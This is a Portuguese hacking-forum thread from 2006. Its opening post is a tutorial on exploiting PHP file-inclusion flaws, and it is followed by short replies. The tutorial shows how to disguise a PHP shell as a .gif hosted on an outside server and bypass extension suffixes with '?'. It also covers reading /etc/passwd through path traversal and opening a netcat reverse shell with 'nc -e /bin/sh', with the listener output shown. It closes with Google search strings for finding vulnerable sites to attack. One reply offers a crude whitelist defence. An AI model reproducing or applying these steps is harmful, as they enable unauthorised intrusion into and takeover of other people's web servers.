Php Injection Re-new

Started by Anonymous, 09 de February , 2006, 12:49:18 AM

Previous topic - Next topic

0 Members and 2 Guests are viewing this topic.

Anonymous

Olá pessoal e estou postando para que os novos e os antigos membros possam revelo.

Como vocês irão notar retirei partes de outros tutoriais e darei créditos aos respectivos donos aproveitem

Php Injection

No php injection nos aproveitamos da função include, no qual muitos os programadores utilizam para incluir outras partes a um layout já pronto sendo como exemplo um menu lateral ou um centro dinâmico.

exemplo1.php:

<html>
<head>
</head>
<body>
<?php 
include ("arquivo&#46;php"); 
?>

</body>
</html>



Uma coisa que você deve saber sobre o php é que ele e pré-processado pelo servidor ou seja feito antes de se carregar a pagina, só exibindo o resultado,  diferente do javascript no qual e ate possível ate  vê-lo no código de fonte da pagina.
Bem supondo que o script do arquivo.php seja:

Quotearquivo.php
echo "
Lol Darkers Rulez!!!
;
?>

Feito isso o resultado saído no código de fonte é :

Quoteexemplo1.php:




Lol Darkers Rulez!!!



Como você pode notar a include pegou a informação contida  no arquivo.php e insere na exemplo1.php pré-processa tudo e envia o resultado so aparecendo o html.

Quote Exemplo:
include ('http://qualquerserver/pagina.php");
?>

note que acima foi feita uma inclusão de uma outra pagina e ai que vamos fazer nossa inclusão maliciosa,para obter acesso remoto a maquina vamos logo a ação.

Quotecobaia.php




Antes de incluir

include ($corpo);
?>
Depois de incluido



Na pagina e usada a variável $corpo para receber o valor da include vejamos um exemplo de como ficaria no link

http://paginapassiva/cobaia.php?corpo=arquivo.php

como você pode notar com a ?corpo=arquivo.php  sendo que a parte arquivo.php  e o arquivos que esta sendo incluído na pagina,mais é claro veremos outros tipos de includes como

Quoteinclude ($corpo . ".php");
?>

O ponto logo apos $corpo e antes de .php é usado para concatenar strings.

Assim você não ira prescizar passar a extensão

http://paginapassiva/cobaia.php?corpo=arquivo


 agora o que queremos fazer, é fazer nossas inclusões nessa pagina ,e para isso vamos usar os exemplos pagina-ativa, pagina-passiva


http://paginapassiva/cobaia.php?corpo=h ... va/lol.php


No exemplo acima estamos incluindo uma pagina nossa na variável corpo
Mais lembre-se queremos injetar nosso programa para que ele rode no servidor da pagina alvo ,não queremos q seja processada na nossa e entregue o resultado para a pagina-passiva por isso iremos não usaremos uma extensão qualquer que não seja .php vamos usar como exemplo o .gif use a que quiser .jpg,.bmp,.txt,.etc...
 
Existe uma forma de consiguir burlar este tipo de declaraçao do include. Voce terá que usar a seguinte construçao:

http://127.0.0.1/cobaia.php?corpo=http: ... 0.2/DK.gif?

Com esse ponto de interrogaçao logo apos o xpl.gif, voce conseguirá o efeito desejado. Antes de fazer a inclusão, a PHP ficaria assim:

Quoteinclude ("http://192.168.0.2/
xpl.gif?.php");
?>

Tudo o que vier depois do ponto de interrogação será descartada pelo servidor pagina passiva, sendo possível assim descarregar o DK.gif para dentro do servidor alvo.
Portanto, a partir de agora, vamos sempre usar este ponto de interrogação, já que pode ser usado nos dois casos.

Existem outros tipos de inclusões

Quotecobaia2.php:
include ("/var/www/htdocs/" . $corpo);
?>

Agora, se tentarmos incluir algo desta forma:
http://127.0.0.1/cobaia.php?corpo=http: ... .2/xpl.gif? resultaria em um erro porque o servidor não conseguiria fazer a inclusao de:

Quoteinclude ("/var/www/htdocs/http://192.168.0.2/xpl.gif?");
?>

Infelizmente, nossas chances de conseguir incluir arquivos remotamente agora caiu a zero, mas ainda é possivel tirar vantagem desta situaçao se tentarmos a seguinte construçao:

http://127.0.0.1/cobaia.php?corpo=../../../etc/passwd

Na hora do include, ficaria assim:

Quoteinclude ("/var/www/htdocs/../../../etc/passwd");
?>

como você pode notar nos pegas a parte /etc/passwd do site e exibimos no corpo da pagina, muito útil assim num site vulnerável e possível obter partes não acessíveis

mais já sabemos como fazer inclusões agora vamos executar nossos programas "malignos"(huhauha gargalhada do mal(sim pensamento de script kiddie)) vamos usar como exemplo um script q eu tirei nesse msm fórum ja hospedado

http://cleanmasters.50webs.com/figuras.gif

grande né, mais e um ótimo script que nos vai dar nosso tão querido cmd.

Mais pêra aew,eu já li em um bilhão de tópicos e eles não esplicam "como assim DK.gif pode ser um php, certo então vou te explicar

Primeiro você deve abrir um bloco de notas e nomeá-lo com o nome que deseja disfarçar ,exemplo "figuras".

Agora iremos colar nele nosso exploit como o acima e agora clique em arquivo > salvar como... .

Troque de documento de texto para todos os arquivos e coloque no nome a extensão exemplo "figuras.gif" ótimo agora esse gif vai ter nosso código malicioso disfarçado

Simples hospede, e você terá um exploit para ser usado

Agora iremos injetá-lo

http://paginapassiva/index.php?corpo=ht ... -a-injetar
 

Se der certo ira aparecer as informações do servidor e a janela de comando pra executar os comandos

Agora precisamos de uma shell, com a qual possamos dar comando interativamente. Para isso, vamos usar a ferramenta netcat (nc). Voce precisará dela no seu computador e na máquina-alvo.
Esse utilitário para Unix foi portado também para plataforma Windows pelo grupo l0pht. Para saber mais, entre no site: www.l0pht.com.
Por ser uma ferramenta muito poderosa, a possibilidade de encontrá-la no servidor no qual voce esta tentando acessar aumentou dramaticamente nos últimos tempos. Algumas distribuiçoes Linux estão trazendo-a como padrao agora.

Abrindo uma porta para receber os dados:

[root@dcha0s h4rv3st]# nc -vv -l -p 666
listening on [any] 666...

Pronto, ja temos nosso computador (a porta deve ser aberta no seu PC e nao no servidor) escutando a porta 666. Agora vamos enviar a shell pelo browser da seguinte maneira:

http://127.0.0.1/cabaia.php?corpo=http: ... usr/bin/nc -e /bin/sh localhost 666

Um erro ocorreu enquanto carregava:

http://127.0.0.1/cabaia.php?corpo=http: ... t%20%20666

Tempo esgotado no servidor
127.0.0.1

Isso aconteceu porque o servidor excedeu o tempo limite da conexao por nao esperar a saida do comando executado para retornar ao seu navegador. Mas vamos dar uma olhada no shell onde deixamos o netcat escutando.

Voce verá que chegou uma conexão na porta, e agora pode dar comandos à vontade. Usamos o id e o uname -a para demonstrar:

Quote[root@dcha0s h4rv3st]#nc -vv -l -p 666
listening on [any] 666...
connect to [127.0.0.1] from localhost [127.0.0.1] 1041
id
uid=99(nobody) gid=98(nobody) groups=98(nobody)
uname -a
Linux dcha0s 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i586 unknown

Funciona perfeitamente. Só um detalhe: quando estiver na shell, nao use Ctrl+C , pois isso fará com que caia.

Agora você quer procurar paginas vulneráveis a php injection

Vá no google e procure por:

Quoteallinurl:".php?page="
allinurl:".php?inc="
allinurl:".php?body="
allinurl:".php?main="
allinurl:".php?pag="
allinurl:".php?p="
allinurl:".php?content="
allinurl:".php?cont="
allinurl:".php?c="
allinurl:".php?meio="
allinurl:".php?x="
allinurl:".php?cat="
allinurl:".php?site="
allinurl:".php?m="
allinurl:".php?do="
allinurl:".php?x="
allinurl:".php?content="
allinurl:".php?pagina="
allinurl:".php?root="
allinurl:".php?include="
allinurl:".php?open="
allinurl:".php?visualizar="
allinurl:".php?conf="

vale tudo na parte ?conf=" basta ser criativo como eu que achei uma pagina vulnerável  digitando allinurl:".php?center="

Boa sorte

Lembrete não me responsabilizo pelos atos causados por outras pessoas nem as fontes se responsabilizam pelos mesmos

Textos bases e copias do usuários:

Dsoul e Chavesfop
Forum invasão

Exemplos:

//http://img137.imageshack.us/img137/5765/invasao9ce.jpg

Anonymous


Anonymous

Heys! Li o topico e achei bastante bom e explicativo... continuam assim!

Abraços,
Crypthief

slul

#3
edited: Apagando meus flames  :'(

Shady

Manera slus =)

 Ta legal seu post Wolf, so precisa fechar as aspas no primeiro codigo:

arquivo.php
<?php
echo "<div>Lol Darkers Rulez!!!</div>";
?>



Mundus Vult Decipi

Anonymous

php inject fede mas fazer oq neh :D

mas concordo com o slul nao precisa de tantaaaaaaaaa coisa pra oq na realidade eh soh


tirar o conteudo do include e botar uma cmd ^^


By MeganuS

Anonymous

Como eu faço pra saber quais sites são vulneraveis ou não?

Anonymous

Quoteagora o que queremos fazer, é fazer nossas inclusões nessa pagina ,e para isso vamos usar os exemplos pagina-ativa, pagina-passiva


http://paginapassiva/cobaia.php?corpo=h ... va/lol.php


No exemplo acima estamos incluindo uma pagina nossa na variável corpo
Mais lembre-se queremos injetar nosso programa para que ele rode no servidor da pagina alvo ,não queremos q seja processada na nossa e entregue o resultado para a pagina-passiva por isso iremos não usaremos uma extensão qualquer que não seja .php vamos usar como exemplo o .gif use a que quiser .jpg,.bmp,.txt,.etc...
 
Existe uma forma de consiguir burlar este tipo de declaraçao do include. Voce terá que usar a seguinte construçao:

http://127.0.0.1/cobaia.php?corpo=http: ... 0.2/DK.gif?

cara vc nao precisa necessariamente  usar uma extençao .gif ou .jpg vc pode usar php tbm eh soh colocar num host que nao de suporte a php

e vc ai de cima RELEIA O TEXTO!!!!

Anonymous

mas e se o cara tivesse feito assim:

<?php
$ip 
getenv("REMOTE_ADDR");
$checar $_GET['conteudo'&#93;;
$procurar  'http';
$pos strpos($checar$procurar);
if (
$pos === false) {
$ok "ok";
}
else {
mail("admin@site&#46;com","ataque","o ip &#58; $ip tentou te atacar por php inject");

$pagina $_GET['conteudo'&#93;;
if($pagina=='') {
include(
'home&#46;php');
}
elseif(
$pagina=='noticias') {
include(
'news&#46;php');
}
elseif(
$pagina=='coco') {
include(
'coco&#46;php');
}
else {
echo 
"conteudo nao encontrado";
}
?>


edit:
codado por mim favor nao copiar se colocar os creditos

bloodrain


bloodrain

aff o cara deve ter tido trabalho pra fazer o codigo e ng prestigia ???
programadores devem ser mais incentivados